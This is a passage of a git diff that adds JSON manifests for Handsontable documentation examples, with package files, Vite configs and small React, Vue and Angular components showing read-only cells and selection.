    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useEffect } from 'react';\nimport Handsontable from 'handsontable/base';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n useEffect(() => {\n const hot = hotRef.current?.hotInstance;\n\n hot?.updateSettings({\n cells(row, col) {\n const cellProperties: Handsontable.CellMeta = {};\n\n if (hot.getData()[row][col] === 'Nissan') {\n cellProperties.readOnly = true;\n }\n\n return cellProperties;\n },\n });\n });\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/read-only-cells/react/example2.tsx","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example2","exampleTitle":"Make specific cells read-only","docPermalink":"/read-only-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__react__example3.tsx.json new file mode 100644 index 00000000..266d87ac --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Read-only cells · Make a column non-editable · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst dimmedTextRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n\n td.style.opacity = '0.6';\n};\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/read-only-cells/react/example3.tsx","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example3","exampleTitle":"Make a column non-editable","docPermalink":"/read-only-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__react__example4.tsx.json new file mode 100644 index 00000000..480c9ed0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__react__example4.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Read-only cells · Make specific cells non-editable · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useEffect } from 'react';\nimport Handsontable from 'handsontable/base';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n useEffect(() => {\n const hot = hotRef.current?.hotInstance;\n\n hot?.updateSettings({\n cells(row, _col, prop) {\n const cellProperties: Handsontable.CellMeta = {};\n\n if (hot.getDataAtRowProp(row, prop as string) === 'Nissan') {\n cellProperties.editor = false;\n } else {\n cellProperties.editor = 'text';\n }\n\n return cellProperties;\n },\n });\n });\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/read-only-cells/react/example4.tsx","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example4","exampleTitle":"Make specific cells non-editable","docPermalink":"/read-only-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__react__example5.tsx.json new file mode 100644 index 00000000..77d86fde --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__react__example5.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Read-only cells · Make a row read-only · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example5\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useRef, useEffect } from 'react';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotRef = useRef(null);\n\n useEffect(() => {\n const hot = hotRef.current?.hotInstance;\n\n hot?.updateSettings({\n cells(row) {\n return row === 1 ? { readOnly: true } : {};\n },\n });\n });\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/read-only-cells/react/example5.tsx","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example5","exampleTitle":"Make a row read-only","docPermalink":"/read-only-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__react__exampleReadOnlyGrid.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__react__exampleReadOnlyGrid.tsx.json new file mode 100644 index 00000000..d46d0528 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__react__exampleReadOnlyGrid.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Features ▸ Read-only cells · Make the grid read-only · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"exampleReadOnlyGrid\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-features/read-only-cells/react/exampleReadOnlyGrid.tsx","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"exampleReadOnlyGrid","exampleTitle":"Make the grid read-only","docPermalink":"/read-only-cells","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__vue__example1.vue.json new file mode 100644 index 00000000..e4e98bcd --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Read-only cells · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/read-only-cells/vue/example1.vue","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/read-only-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__vue__example2.vue.json new file mode 100644 index 00000000..83f8abb5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Read-only cells · Make specific cells read-only · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/read-only-cells/vue/example2.vue","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example2","exampleTitle":"Make specific cells read-only","docPermalink":"/read-only-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__vue__example3.vue.json new file mode 100644 index 00000000..c4d1905c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Read-only cells · Make a column non-editable · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/read-only-cells/vue/example3.vue","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example3","exampleTitle":"Make a column non-editable","docPermalink":"/read-only-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__vue__example4.vue.json new file mode 100644 index 00000000..d4effd09 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__vue__example4.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Read-only cells · Make specific cells non-editable · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/read-only-cells/vue/example4.vue","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example4","exampleTitle":"Make specific cells non-editable","docPermalink":"/read-only-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__vue__example5.vue.json new file mode 100644 index 00000000..841712b9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__vue__example5.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Read-only cells · Make a row read-only · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example5\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/read-only-cells/vue/example5.vue","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example5","exampleTitle":"Make a row read-only","docPermalink":"/read-only-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__vue__exampleReadOnlyGrid.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__vue__exampleReadOnlyGrid.vue.json new file mode 100644 index 00000000..a0220122 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__read-only-cells__vue__exampleReadOnlyGrid.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Features ▸ Read-only cells · Make the grid read-only · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#exampleReadOnlyGrid\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-features/read-only-cells/vue/exampleReadOnlyGrid.vue","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"exampleReadOnlyGrid","exampleTitle":"Make the grid read-only","docPermalink":"/read-only-cells","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__angular__example1.ts.json new file mode 100644 index 00000000..548170a6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-features__selection__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Features ▸ Selection · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import {Component, ViewChild, ViewEncapsulation, HostListener, ElementRef, inject} from '@angular/core';\nimport { GridSettings, HotTableComponent, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example1-selection',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n
    \n
    \n \n {{ selectedLabel }}\n \n \n @if (isOpen) {\n
      \n @for (opt of options; track opt.value) {\n \n {{ opt.label }}\n \n }\n
    \n }\n
    \n
    \n
    \n
    \n \n
